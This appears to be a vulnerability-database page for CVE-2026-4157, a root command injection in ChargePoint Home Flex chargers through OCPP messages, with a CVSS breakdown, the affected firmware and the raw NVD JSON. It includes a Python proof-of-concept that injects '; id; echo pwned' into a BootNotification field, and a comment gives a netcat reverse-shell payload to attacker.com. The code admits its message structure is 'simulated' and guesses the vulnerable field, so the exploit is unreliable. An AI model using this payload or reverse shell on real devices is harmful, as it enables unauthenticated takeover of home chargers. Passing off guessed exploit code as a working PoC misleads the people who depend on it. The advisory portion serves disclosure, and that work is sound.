Security Vulnerability Report
中文
CVE-2026-4157 CVSS 7.5 HIGH

CVE-2026-4157

Published: 2026-04-11 01:16:17
Last Modified: 2026-04-27 17:42:41

Description

ChargePoint Home Flex revssh Service Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of ChargePoint Home Flex devices. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of OCPP messages. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-26338.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:chargepoint:home_flex_cph50_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:chargepoint:home_flex_cph50:-:*:*:*:*:*:*:* - NOT VULNERABLE
ChargePoint Home Flex (所有存在revssh服务漏洞的固件版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import json # Proof of Concept for CVE-2026-4157 # This script demonstrates the command injection vulnerability in ChargePoint Home Flex OCPP handling. # Target IP and Port (RevSSH Service) TARGET_IP = "192.168.1.100" TARGET_PORT = 80 def send_exploit(): # The payload injects a shell command to create a reverse shell or execute a simple command # Example payload: ; nc attacker.com 4444 -e /bin/sh malicious_payload = "; id; echo pwned" # Constructing a malicious OCPP message (Simulated structure) # The vulnerability lies in how the 'chargePointModel' or similar field is processed exploit_data = { "messageType": 2, "messageId": "1", "action": "BootNotification", "payload": { "chargePointModel": malicious_payload, "chargePointSerialNumber": "Serial123" } } try: # Sending the malicious payload print(f"[*] Sending exploit to {TARGET_IP}:{TARGET_PORT}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) s.send(json.dumps(exploit_data).encode()) response = s.recv(1024) print("[+] Response received:") print(response.decode()) s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4157", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:17.487", "lastModified": "2026-04-27T17:42:41.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChargePoint Home Flex revssh Service Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of ChargePoint Home Flex devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of OCPP messages. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-26338."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:chargepoint:home_flex_cph50_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.5.4.22", "matchCriteriaId": "F5D6BCAE-C598-4884-ADB5-45B272220C2A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:chargepoint:home_flex_cph50:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A6709D3-36B1-4027-82ED-144875049704"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-197/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}